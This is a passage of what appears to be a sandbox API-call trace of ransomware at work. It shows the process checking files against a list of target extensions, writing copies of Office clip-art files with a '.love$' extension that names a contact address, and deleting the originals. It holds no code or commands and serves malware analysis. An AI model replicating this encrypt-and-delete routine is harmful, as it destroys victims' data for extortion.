ReadFile (in: hFile=0x388, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0241.237] WriteFile (in: hFile=0x4e8, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xe4, lpOverlapped=0x0) returned 1 [0241.237] SetEndOfFile (hFile=0x4e8) returned 1 [0241.252] CloseHandle (hObject=0x4e8) returned 1 [0241.254] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.254] SetEndOfFile (hFile=0x388) returned 1 [0241.257] CloseHandle (hObject=0x388) returned 1 [0241.257] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0241.258] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf")) returned 1 [0241.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0241.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0241.259] lstrlenW (lpString=".doc") returned 4 [0241.259] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0241.259] lstrlenW (lpString=".docx") returned 5 [0241.259] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0241.260] lstrlenW (lpString=".pdf") returned 4 [0241.260] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0241.260] lstrlenW (lpString=".xls") returned 4 [0241.260] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0241.260] lstrlenW (lpString=".xlsx") returned 5 [0241.260] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0241.260] lstrlenW (lpString=".ppt") returned 4 [0241.260] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0241.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0241.260] lstrlenW (lpString=".zip") returned 4 [0241.260] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0241.260] lstrlenW (lpString=".rar") returned 4 [0241.260] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0241.260] lstrlenW (lpString=".bz2") returned 4 [0241.260] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0241.260] lstrlenW (lpString=".7z") returned 3 [0241.260] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0241.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0241.260] lstrlenW (lpString=".dbf") returned 4 [0241.260] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0241.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0241.260] lstrlenW (lpString=".1cd") returned 4 [0241.260] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0241.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0241.260] lstrlenW (lpString=".jpg") returned 4 [0241.260] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0241.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0241.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0241.261] lstrlenW (lpString=".doc") returned 4 [0241.261] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0241.261] lstrlenW (lpString=".docx") returned 5 [0241.261] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0241.261] lstrlenW (lpString=".pdf") returned 4 [0241.261] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0241.261] lstrlenW (lpString=".xls") returned 4 [0241.261] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0241.261] lstrlenW (lpString=".xlsx") returned 5 [0241.261] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0241.261] lstrlenW (lpString=".ppt") returned 4 [0241.261] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0241.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0241.261] lstrlenW (lpString=".zip") returned 4 [0241.261] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0241.261] lstrlenW (lpString=".rar") returned 4 [0241.261] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0241.261] lstrlenW (lpString=".bz2") returned 4 [0241.261] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0241.261] lstrlenW (lpString=".7z") returned 3 [0241.261] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0241.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0241.261] lstrlenW (lpString=".dbf") returned 4 [0241.261] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0241.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0241.261] lstrlenW (lpString=".1cd") returned 4 [0241.261] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0241.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0241.262] lstrlenW (lpString=".jpg") returned 4 [0241.262] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0241.262] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0241.262] lstrlenW (lpString="CUPINST.WMF") returned 11 [0241.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0241.265] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=10326) returned 1 [0241.265] CloseHandle (hObject=0x388) returned 1 [0241.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf")) returned 0x220 [0241.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0241.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0241.266] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.266] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0241.267] GetLastError () returned 0x0 [0241.267] ReadFile (in: hFile=0x388, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x2856, lpOverlapped=0x0) returned 1 [0241.300] WriteFile (in: hFile=0x488, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x2860, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2860, lpOverlapped=0x0) returned 1 [0241.301] ReadFile (in: hFile=0x388, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0241.301] WriteFile (in: hFile=0x488, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xea, lpOverlapped=0x0) returned 1 [0241.301] SetEndOfFile (hFile=0x488) returned 1 [0241.301] CloseHandle (hObject=0x488) returned 1 [0241.301] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.302] SetEndOfFile (hFile=0x388) returned 1 [0241.304] CloseHandle (hObject=0x388) returned 1 [0241.305] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0241.305] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf")) returned 1 [0241.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0241.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0241.306] lstrlenW (lpString=".doc") returned 4 [0241.306] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0241.306] lstrlenW (lpString=".docx") returned 5 [0241.306] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0241.306] lstrlenW (lpString=".pdf") returned 4 [0241.306] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0241.306] lstrlenW (lpString=".xls") returned 4 [0241.307] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0241.307] lstrlenW (lpString=".xlsx") returned 5 [0241.307] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0241.307] lstrlenW (lpString=".ppt") returned 4 [0241.307] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0241.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0241.307] lstrlenW (lpString=".zip") returned 4 [0241.307] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0241.307] lstrlenW (lpString=".rar") returned 4 [0241.307] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0241.307] lstrlenW (lpString=".bz2") returned 4 [0241.307] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0241.307] lstrlenW (lpString=".7z") returned 3 [0241.307] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0241.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0241.307] lstrlenW (lpString=".dbf") returned 4 [0241.307] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0241.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0241.307] lstrlenW (lpString=".1cd") returned 4 [0241.307] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0241.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0241.307] lstrlenW (lpString=".jpg") returned 4 [0241.307] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0241.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0241.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0241.307] lstrlenW (lpString=".doc") returned 4 [0241.307] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0241.307] lstrlenW (lpString=".docx") returned 5 [0241.307] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0241.307] lstrlenW (lpString=".pdf") returned 4 [0241.307] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0241.307] lstrlenW (lpString=".xls") returned 4 [0241.307] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0241.308] lstrlenW (lpString=".xlsx") returned 5 [0241.308] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0241.308] lstrlenW (lpString=".ppt") returned 4 [0241.308] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0241.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0241.308] lstrlenW (lpString=".zip") returned 4 [0241.308] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0241.308] lstrlenW (lpString=".rar") returned 4 [0241.308] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0241.308] lstrlenW (lpString=".bz2") returned 4 [0241.308] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0241.308] lstrlenW (lpString=".7z") returned 3 [0241.308] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0241.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0241.308] lstrlenW (lpString=".dbf") returned 4 [0241.308] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0241.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0241.309] lstrlenW (lpString=".1cd") returned 4 [0241.309] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0241.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0241.309] lstrlenW (lpString=".jpg") returned 4 [0241.309] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0241.309] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0241.309] lstrlenW (lpString="DD00121_.WMF") returned 12 [0241.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0241.311] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=8256) returned 1 [0241.311] CloseHandle (hObject=0x388) returned 1 [0241.311] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf")) returned 0x220 [0241.311] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0241.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0241.311] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.312] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0241.312] GetLastError () returned 0x0 [0241.313] ReadFile (in: hFile=0x388, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x2040, lpOverlapped=0x0) returned 1 [0241.367] WriteFile (in: hFile=0x488, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x2050, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2050, lpOverlapped=0x0) returned 1 [0241.368] ReadFile (in: hFile=0x388, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0241.368] WriteFile (in: hFile=0x488, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0241.368] SetEndOfFile (hFile=0x488) returned 1 [0241.368] CloseHandle (hObject=0x488) returned 1 [0241.368] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.369] SetEndOfFile (hFile=0x388) returned 1 [0241.851] CloseHandle (hObject=0x388) returned 1 [0241.852] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0241.852] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf")) returned 1 [0241.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0241.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0241.853] lstrlenW (lpString=".doc") returned 4 [0241.853] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0241.853] lstrlenW (lpString=".docx") returned 5 [0241.853] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0241.853] lstrlenW (lpString=".pdf") returned 4 [0241.853] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0241.853] lstrlenW (lpString=".xls") returned 4 [0241.853] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0241.853] lstrlenW (lpString=".xlsx") returned 5 [0241.853] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0241.854] lstrlenW (lpString=".ppt") returned 4 [0241.854] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0241.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0241.854] lstrlenW (lpString=".zip") returned 4 [0241.854] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0241.854] lstrlenW (lpString=".rar") returned 4 [0241.854] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0241.854] lstrlenW (lpString=".bz2") returned 4 [0241.854] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0241.854] lstrlenW (lpString=".7z") returned 3 [0241.854] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0241.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0241.854] lstrlenW (lpString=".dbf") returned 4 [0241.854] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0241.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0241.854] lstrlenW (lpString=".1cd") returned 4 [0241.854] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0241.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0241.854] lstrlenW (lpString=".jpg") returned 4 [0241.854] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0241.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0241.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0241.854] lstrlenW (lpString=".doc") returned 4 [0241.854] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0241.854] lstrlenW (lpString=".docx") returned 5 [0241.854] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0241.854] lstrlenW (lpString=".pdf") returned 4 [0241.855] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0241.855] lstrlenW (lpString=".xls") returned 4 [0241.855] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0241.855] lstrlenW (lpString=".xlsx") returned 5 [0241.855] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0241.855] lstrlenW (lpString=".ppt") returned 4 [0241.855] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0241.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0241.855] lstrlenW (lpString=".zip") returned 4 [0241.863] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0241.863] lstrlenW (lpString=".rar") returned 4 [0241.863] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0241.863] lstrlenW (lpString=".bz2") returned 4 [0241.863] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0241.863] lstrlenW (lpString=".7z") returned 3 [0241.863] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0241.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0241.863] lstrlenW (lpString=".dbf") returned 4 [0241.863] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0241.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0241.863] lstrlenW (lpString=".1cd") returned 4 [0241.863] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0241.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0241.863] lstrlenW (lpString=".jpg") returned 4 [0241.863] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0241.864] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0241.864] lstrlenW (lpString="DD00256_.WMF") returned 12 [0241.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0241.865] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=2832) returned 1 [0241.865] CloseHandle (hObject=0x388) returned 1 [0241.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf")) returned 0x220 [0241.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0241.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0241.866] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.866] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0241.867] GetLastError () returned 0x0 [0241.867] ReadFile (in: hFile=0x388, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0xb10, lpOverlapped=0x0) returned 1 [0241.908] WriteFile (in: hFile=0x488, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xb20, lpOverlapped=0x0) returned 1 [0241.909] ReadFile (in: hFile=0x388, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0241.909] WriteFile (in: hFile=0x488, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 